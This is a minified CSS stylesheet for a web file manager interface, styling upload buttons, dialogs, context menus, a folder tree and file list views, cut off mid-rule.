.webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{display:block;float:left;text-overflow:ellipsis;height:30px;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;overflow:hidden;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;overflow:hidden;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;float:left;margin-top:-30px;border-radius:0;box-shadow:none;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#abd7fb;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img{width:20px;margin-right:5px;border-radius:4px;pointer-events:none;}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:25px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:-1px;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}#selContainer{position:absolute;width:0px;height:0px;border:1px solid #005ec9;background-color:#63acff;z-index:1000;opacity:0.5;filter:alpha(opacity=50);}#selContainer:hover{cursor:default;}.file-draging{position:absolute;left:0;top:0px;z-index:1000;pointer-events:none;opacity:0.95;}.file-draging.fileList_icon,.file-draging.fileList_list,.file-draging.fileList_list_split{z-index:1000;overflow:visible;}.file-draging.fileList_icon div.file,.file-draging.fileList_list div.file,.file-draging.fileList_list_split div.file{clear:both;position:absolute;margin:0;transition:none !important;}.file-draging.fileList_icon div.file.handle_target,.file-draging.fileList_list div.file.handle_target,.file-draging.fileList_list_split div.file.handle_target{z-index:999;}.draggable-dragging{z-index:9999;clear:both !important;pointer-events:none;position:absolute !important;padding:5px;opacity:0.9;filter:alpha(opacity=90);background:#4285f4;border-radius:4px;color:#fff;box-shadow:3px 5px 15px rgba(0,0,0,0.2);font-size:1.15em;}.draggable-dragging .drag_number{display:none;}.draggable-dragging span{line-height:25px;padding-left:5px;padding-right:15px;}.draggable-dragging span .font-icon{display:inline-block;width:22px;height:22px;text-align:center;line-height:22px;color:#fff;font-size:1.0em;font-weight:800;margin-right:10px;border-radius:12px;}.draggable-dragging span .bg-default{background:#b9e0ff;color:#4285f4;}.draggable-dragging span .bg-ok{background:#6ee273;}.draggable-dragging span .bg-error{background:#FB2500;}.draggable-dragging span b{padding-right:15px;}.item-file-draging{opacity:0.5;filter:alpha(opacity=50);}.selectDragDraging{cursor:move;cursor:-webkit-grabbing;}.selectDragDraging .fileList_icon .selectDragTemp{transform:scale(1.1,1.1);}.fileContiner .file .filename .title{cursor:text;}.fileList_icon{padding:10px 0 0 10px;}.fileList_icon .meta_info{height:22.5px;width:22.5px;margin-right:6.75px;margin-top:-22.5px;position:absolute;right:0;}.fileList_icon .meta_info img{width:100%;height:100%;}.fileList_icon .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;width:60px;height:75px;text-decoration:none;margin:0;margin-right:10px;margin-bottom:10px;overflow:hidden;float:left;}.fileList_icon .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.fileList_icon .file.hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background:#eeeeee;background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.fileList_icon .file .filename{width:60px;cursor:default;text-align:center;word-break:break-all;font-size:1.0em;margin:0 auto;line-height:1.5em;padding-bottom:5px;}.fileList_icon .file .filename .textarea{position:absolute;font-size:1.0em;text-align:center;margin-left:-1px;margin-top:-3px;}.fileList_icon .file .filename #pathRenameTextarea,.fileList_icon .file .filename .newfile{width:60px;padding:2px 0px;margin-top:0px;overflow-y:hidden;border:1px solid #888;font-size:1.0em;text-align:center;line-height:1.5em;position:absolute;z-index:999;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}.fileList_icon .file .filename #pathRenameTextarea:focus,.fileList_icon .file .filename .newfile:focus{outline:none;}.fileList_icon .file.select,.fileList_icon .file.selectDragTemp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background:#d9d9d9;background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.fileList_icon .file.file_icon_edit{overflow:visible;}.fileList_icon .file.file_icon_edit .filename{position:absolute;z-index:99;}.fileList_icon .file .ico{height:60px;width:60px;padding-top:4px;text-align:center;vertical-align:middle;display:table-cell;}.fileList_icon .file .ico img{height:100% \9;max-height:100%;max-width:100%;border-radius:5px;}.fileList_icon .file .ico.picasaImage{background:none;width:50px;padding-left:5px;}.fileList_icon .file .ico.picasaImage img{-webkit-box-shadow:1px 1px 5px rgba(0,0,0,0.2);-moz-box-shadow:1px 1px 5px rgba(0,0,0,0.2);box-shadow:1px 1px 5px rgba(0,0,0,0.2);width:100% \9;max-width:100%;border-radius:0px;}.fileList_icon .file .ico.picasaImage img.lazyload_ready{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}@media screen and (max-width:100000px){div.fileList_icon div.file{ display:inline-block;max-height:152px;vertical-align:top;float:none;height:auto;}}.context-menu-item.set-file-icon-size .box-size-smallx{font-size:0.9em;}.context-menu-item.set-file-icon-size .box-size-small{font-size:1.0em;}.context-menu-item.set-file-icon-size .box-size-default{font-size:1.15em;}.context-menu-item.set-file-icon-size .box-size-big{font-size:1.25em;}.context-menu-item.set-file-icon-size .box-size-bigx{font-size:1.35em;}#list_type_list{z-index:5;position:absolute;width:100%;top:85px;}#main_title{background:#fff;border-bottom:1px solid #e3e3e3;box-shadow:0 2px 10px rgba(0,0,0,0.06);}#main_title .box-shadow(1px 2px 15px #dde) + div{cursor:pointer;overflow:hidden;}#main_title div span{float:right;margin-right:8px;margin-top:0px;}#main_title .filename,#main_title .filesize,#main_title .filetype,#main_title .filetime{float:left;cursor:pointer;overflow:hidden;line-height:25px;height:25px;border-right:1px solid #eee;padding-left:10px;margin-left:-10px;font-size:1.0em;color:#448;}#main_title .filename:hover,#main_title .filesize:hover,#main_title .filetype:hover,#main_title .filetime:hover{background:#eee;}#main_title .resize{float:left;width:20px;cursor:col-resize;margin-left:-10px;height:25px;z-index:9999;position:relative;}#main_title .current{background:rgba(0,0,0,0.8);}#main_title .filename{width:250px;padding-left:20px;margin-left:0px;}#main_title .filetype{width:80px;}#main_title .filesize{width:80px;text-align:right;padding-left:0px;padding-right:10px;}#main_title .filetime{width:150px;padding-right:6px;}#main_title .filesize span{margin-right:0px;}#main_title .this{font-weight:800;background:#eee;}.fileList_list,.fileList_list_split{padding-top:5px;width:100%;z-index:0;}.fileList_list .file,.fileList_list_split .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);margin-left:10px;-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;height:25px;}.fileList_list .file .ico,.fileList_list_split .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.fileList_list .file2,.fileList_list_split .file2{background:#edf5ff;}.fileList_list .hover,.fileList_list_split .hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background:#eeeeee;background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.fileList_list .select,.fileList_list .selectDragTemp,.fileList_list_split .select,.fileList_list_split .selectDragTemp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background:#d9d9d9;background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.fileList_list .select .children_more i.font_icon,.fileList_list .selectDragTemp .children_more i.font_icon,.fileList_list_split .select .children_more i.font_icon,.fileList_list_split .selectDragTemp .children_more i.font_icon{color:#63acff !important;}.fileList_list .meta_info,.fileList_list_split .meta_info{display:inline-block;float:initial;width:15px;height:15px;padding:0;position:relative;top:6px;margin:0px 0 0 -15px;}.fileList_list .meta_info img,.fileList_list_split .meta_info img{width:100%;height:100%;}.fileList_list .file,.fileList_list_split .file{width:80%;overflow:hidden;height:27px;}.fileList_list .file .ico,.fileList_list .file .filename,.fileList_list .file .filetype,.fileList_list .file .filesize,.fileList_list .file .filetime,.fileList_list .file .children_more,.fileList_list_split .file .ico,.fileList_list_split .file 